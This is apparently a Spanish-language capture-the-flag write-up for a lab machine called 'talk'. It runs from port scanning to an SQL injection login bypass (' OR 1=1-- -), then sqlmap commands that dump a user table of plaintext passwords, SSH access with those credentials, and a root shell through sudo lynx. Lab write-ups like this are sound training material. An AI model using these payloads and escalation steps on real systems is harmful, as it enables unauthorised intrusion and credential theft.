// 01
RECONOCIMIENTO — Escaneo de puertos
Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.
escaneo completo
nmap -p- -T5 <IP> -oG allPorts
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 11:44 +0200
Nmap scan report for 10.10.10.26
Host is up (0.0024s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:B1:ED:BB (Oracle VirtualBox virtual NIC)
Nmap done: 1 address (1 host up) scanned in 13.81 seconds
| PUERTO | ESTADO | SERVICIO |
|---|---|---|
| 22/tcp | OPEN | ssh |
| 80/tcp | OPEN | http |
Superficie de ataque mínima
Solo dos puertos abiertos: SSH y una web. El vector de entrada está en la aplicación web — hay que enumerarla antes de intentar nada por SSH.
// 02
EXPLOTACIÓN — SQL Injection en el login
La web presenta un formulario de login simple. Se prueba directamente una inyección clásica de bypass de autenticación.
payload de bypass
User: ' OR 1=1-- -
Pass: ' OR 1=1-- -
SQL Injection — Bypass de autenticación
El login es vulnerable a SQLi. La condición OR 1=1 siempre es verdadera, lo que hace que la consulta devuelva el primer usuario de la tabla: pao. El comentario -- - invalida el resto de la query original.
El bypass funciona e inicia sesión como pao. Para extraer toda la información de la base de datos, se captura la petición con Burpsuite y se pasa a sqlmap.
petición capturada con burpsuite (req.txt)
POST /login.php HTTP/1.1
Host: 10.10.10.26
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=kstgfe78o3pi49posrer6f9mb8
username=admin&password=admin
enumeración de bases de datos
sqlmap -r req.txt --batch --dbs
available databases [4]:
[*] chat
[*] information_schema
[*] mysql
[*] performance_schema
tablas de la base de datos chat
sqlmap -r req.txt --batch -D chat --tables
Database: chat
[3 tables]
+-----------+
| user |
| chat |
| chat_room |
+-----------+
volcado de la tabla user
sqlmap -r req.txt --batch -D chat -T user --dump
| USERID | PHONE | PASSWORD | USERNAME | YOUR_NAME | |
|---|---|---|---|---|---|
| 1 | [email protected] | 09123123123 | pao | pao | PaoPao |
| 2 | [email protected] | 1111 | myfriendtom | nona | nona |
| 3 | [email protected] | 11111 | davidwhatpass | tina | tina |
| 4 | [email protected] | 111 | thatsmynonapass | jerry | jerry |
| 5 | [email protected] | 11 | adrianthebest | david | david |
Credenciales en texto claro
Las contraseñas se almacenan en texto claro en la base de datos. Se obtienen cinco pares usuario:contraseña. Hay que probarlos contra SSH para ver cuál funciona.
// 03
ACCESO INICIAL — Shell como nona
Se prueban las credenciales obtenidas contra SSH. Las credenciales nona:thatsmynonapass dan acceso al sistema.
acceso SSH
[email protected]'s password: thatsmynonapass
Linux talk 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
nona@talk:~$
flag de usuario
ls -la && cat user.txt
USER FLAG
cat ~/user.txt
// 04
ESCALADA A ROOT — sudo lynx
Se comprueba qué comandos puede ejecutar nona con privilegios de root.
comprobación de permisos sudo
sudo -l
User nona may run the following commands on talk:
(ALL : ALL) NOPASSWD: /usr/bin/lynx
sudo NOPASSWD — /usr/bin/lynx
nona puede ejecutar el navegador de terminal lynx como root sin contraseña. Lynx permite lanzar un shell interactivo desde dentro de la aplicación usando el comando !, heredando los privilegios del proceso padre.
Se ejecuta lynx como root y, una vez dentro, se utiliza el comando ! para obtener una shell de root.
pasos para escalar
sudo /usr/bin/lynx
# Una vez dentro de lynx:
!
Spawning your default shell. Use 'exit' to return to Lynx.
root@talk:/home/nona# whoami
root
¿Por qué funciona?
Lynx tiene un mecanismo para ejecutar comandos de shell desde dentro de la aplicación. Al presionar !, lanza el shell por defecto del sistema. Dado que lynx se ha ejecutado con sudo, el proceso padre corre como root, y la shell hija hereda ese UID efectivo.
flag de root
cd /root && cat root.txt
ROOT FLAG
cat /root/root.txt
// RESUMEN
CADENA DE ATAQUE
SQLi — Bypass de autenticación
Login vulnerable a inyección SQL clásica con
' OR 1=1-- - → acceso como primer usuario paosqlmap — Volcado de credenciales
Burpsuite captura la petición →
sqlmap extrae la BD chat → tabla user con cinco pares usuario:contraseña en texto claroSSH — Acceso como nona
Credenciales
nona:thatsmynonapass dan acceso SSH → user.txt en el directorio personalsudo lynx → Root
sudo -l revela (ALL) NOPASSWD: /usr/bin/lynx → sudo /usr/bin/lynx → ! dentro de lynx → shell como root → root.txt